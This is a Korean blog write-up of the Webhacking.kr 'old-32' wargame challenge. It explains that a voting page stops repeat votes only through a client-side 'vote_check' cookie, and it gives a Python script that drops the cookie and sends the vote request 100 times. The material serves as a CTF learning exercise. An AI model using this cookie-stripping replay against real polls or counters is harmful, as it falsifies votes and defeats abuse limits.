본문 바로가기

Webhacking.kr

old-32

 

본인의 아이디를 클릭했을 떄 투표가 되는데, 이떄 HTTP 요청은 이렇다.

GET /challenge/code-5/?hit=Korjsh HTTP/1.1
Host: webhacking.kr
Cookie: vote_check=ok; PHPSESSID=6kk1r5vd5an95e8pi0b91c9rh5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: <https://webhacking.kr/challenge/code-5/>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

 

HTTP 요청을 100번을 반복해 보내서 문제를 풀어야한다.

여러 시도를 해본결과, 다음과 같이 vote_check=ok;를 요청헤더에서 제거하면, 접속해있는 사용자가 투표를 했는지 안 했는지를 모른다.

한마디로, vote_check=ok;에 의존해 투표 여부를 검증하여 중복 투표를 방지하고 있는 것이 문제다.

GET /challenge/code-5/?hit=Korjsh HTTP/1.1
Host: webhacking.kr
Cookie: PHPSESSID=6kk1r5vd5an95e8pi0b91c9rh5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: <https://webhacking.kr/challenge/code-5/>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

익스플로잇

import requests
import time

url = "<https://webhacking.kr/challenge/code-5/?hit=Korjsh>"
headers = {
    "Host": "webhacking.kr",
    "Cookie": "PHPSESSID=6kk1r5vd5an95e8pi0b91c9rh5",
    # 봇이 아님을 증명하려면 User-Agent를 설정하는 것이 좋다.
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer": "<https://webhacking.kr/challenge/code-5/>",
    "Accept-Language": "ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"
}

for i in range(100):
    try:
        # headers 딕셔너리를 요청에 사용
        response = requests.get(url, headers=headers) 
        
        # 상태 코드가 200이 아닌 경우(예: 403 Forbidden, 500 Internal Error 등)를 함께 출력
        if response.status_code == 200:
            print(f"요청 {i+1}/100 성공: 상태 코드 {response.status_code}")
        else:
            print(f"요청 {i+1}/100 성공: 비정상 상태 코드 {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"요청 {i+1}/100 실패: {e}")
        
    # 요청 간 1초 대기 (서버에 부담을 주지 않기 위해 유지
    time.sleep(1) 

print("\\n✨ 100번 요청 완료.")

vote_check=ok;를 헤더에서 제거한 GET 요청을 100번 반복하면 끝

'Webhacking.kr' 카테고리의 다른 글

old-27  (0) 2026.05.14
old-21  (0) 2026.05.14
old-25  (0) 2026.05.13
old-50  (0) 2026.05.13
old-43 RevengE  (0) 2026.05.13